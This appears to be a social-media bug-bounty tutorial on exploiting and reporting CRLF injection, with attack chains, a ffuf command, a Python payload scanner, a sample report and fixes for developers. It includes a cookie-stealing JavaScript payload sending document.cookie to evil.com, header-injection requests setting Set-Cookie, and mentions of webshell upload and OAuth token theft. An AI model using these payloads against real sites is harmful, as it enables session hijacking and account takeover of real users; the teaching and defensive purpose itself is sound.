CRLF Injection — Real-World Exploitation & Reporting ( P 3/3 )

You've Found CRLF Injection — Now What?

Finding the vulnerability is only the beginning. This part covers real-world exploitation, attack chains, impact assessment, and professional reporting for bug bounty hunters.

You'll learn how CRLF injection can be chained with other vulnerabilities, how to demonstrate meaningful impact, how to assess the potential severity, and how to present your findings in a clear and professional bug bounty report.

Real-World Attack Chains

Chain 1: CRLF → XSS → Session Hijacking

CRLF injection injects Content-Type: text/html
Inject JavaScript Payload document.location='evil.com?cookie='+document.cookie
Victim visits page → cookie stolen
Attacker hijacks session

Chain 3: CRLF → SSRF → RCE

CRLF injection adds X-Forwarded-For: 127.0.0.1
Bypasses internal IP restrictions
Access internal admin panel
Upload webshell, gain RCE

Chain 4: CRLF → HTTP Request Smuggling

CRLF injection creates two requests in one
Front-end server sees one request
Back-end server sees two requests
Request smuggling allows request hijacking

Chain 5: CRLF → OAuth Token Theft

CRLF injection sets malicious redirect_uri
User authenticates
OAuth token sent to attacker-controlled endpoint
Account takeover

Tools for Automated CRLF Discovery

1. FFUF for CRLF Discovery

ffuf -w crlf_payloads.txt -u https://target.com/search?q=FUZZ -mr "Set-Cookie" -ac

ffuf -w crlf_payloads.txt -u https://target.com/search?q=FUZZ -mr "Set-Cookie" -ac

2. Burp Suite (CRLF Injection Scanner)

Use active scanner with "CRLF Injection" extension
Test all input vectors automatically

3. Custom Python Script

import requests
payloads = [
    '%0d%0a',
    '%0D%0A',
    '%250d%250a',
    '%E2%80%A8'
]
for payload in payloads:
    url = f"https://target.com/redirect?url=test{payload}Set-Cookie: injected"
    response = requests.get(url)
    if 'Set-Cookie: injected' in response.headers:
        print(f"[!] CRLF Found: {payload}")

import requests
payloads = [
    '%0d%0a',
    '%0D%0A',
    '%250d%250a',
    '%E2%80%A8'
]
for payload in payloads:
    url = f"https://target.com/redirect?url=test{payload}Set-Cookie: injected"
    response = requests.get(url)
    if 'Set-Cookie: injected' in response.headers:
        print(f"[!] CRLF Found: {payload}")

Reporting Methodology for Bug Bounties

1. Title

CRLF Injection in redirect endpoint leads to HTTP Response Splitting

2. Executive Summary

The /redirect endpoint at target.com is vulnerable to CRLF injection, allowing attackers to manipulate HTTP responses and potentially execute XSS, cache poisoning, and session fixation attacks.

3. Technical Details

Vulnerable Endpoint:

GET /redirect?url=https://example.com

GET /redirect?url=https://example.com

Request:

GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20session=evil

GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20session=evil

Response Interpretation:

HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: session=evil

HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: session=evil

4. Proof of Concept

Visit: https://target.com/redirect?url=http://google.com%0d%0aSet-Cookie:%20session=evil
Observe Set-Cookie header in response
Session cookie set to "evil" for target.com

5. Impact Assessment

HTTP Response Splitting allows arbitrary HTTP headers injection
Can set cookies for any user (session fixation)
Can inject malicious content via Content-Type: text/html
Potential for XSS, CSRF, cache poisoning
Ability to bypass security controls

6. Remediation

Validate and sanitize all user input before using in headers
Use URL encoding or encoding libraries
Implement a redirect whitelist
Reject any input containing CRLF characters

Impact & Bug Bounty Value

Why High Bounties

Chain potential with other vulnerabilities
Affects all users (not just one)
Can lead to full account takeover
Difficult to detect by standard scanners

Defense & Remediation for Developers

1. Input Validation

// PHP example
if (preg_match('/[\r\n]/', $input)) {
    die("Invalid input");
}

// PHP example
if (preg_match('/[\r\n]/', $input)) {
    die("Invalid input");
}

2. Encoding

// Java example
String sanitized = URLEncoder.encode(input, "UTF-8");

// Java example
String sanitized = URLEncoder.encode(input, "UTF-8");

3. Redirect Whitelist

# Python example
ALLOWED_REDIRECTS = ['example.com', 'test.com']
if redirect_domain not in ALLOWED_REDIRECTS:
    raise Exception("Invalid redirect")

# Python example
ALLOWED_REDIRECTS = ['example.com', 'test.com']
if redirect_domain not in ALLOWED_REDIRECTS:
    raise Exception("Invalid redirect")

4. Framework Protections

Use built-in redirect methods (they handle CRLF)
Avoid direct header concatenation
Use header sets instead of adds

🔔 Follow @cybersecplayground for more advanced web security techniques!

✅ Like & Share if you're ready to hunt CRLF in the wild! 💰

#CRLFInjection #HTTP #WebSecurity #BugBounty #CyberSecurity #PenTesting #InfoSec #Hacking #Vulnerability

⚠️ Final Pro Tip: Always test CRLF in every single input vector — URLs, forms, cookies, headers, filename uploads, and even JSON/XML fields. A single overlooked vector can lead to a critical vulnerability!

Contents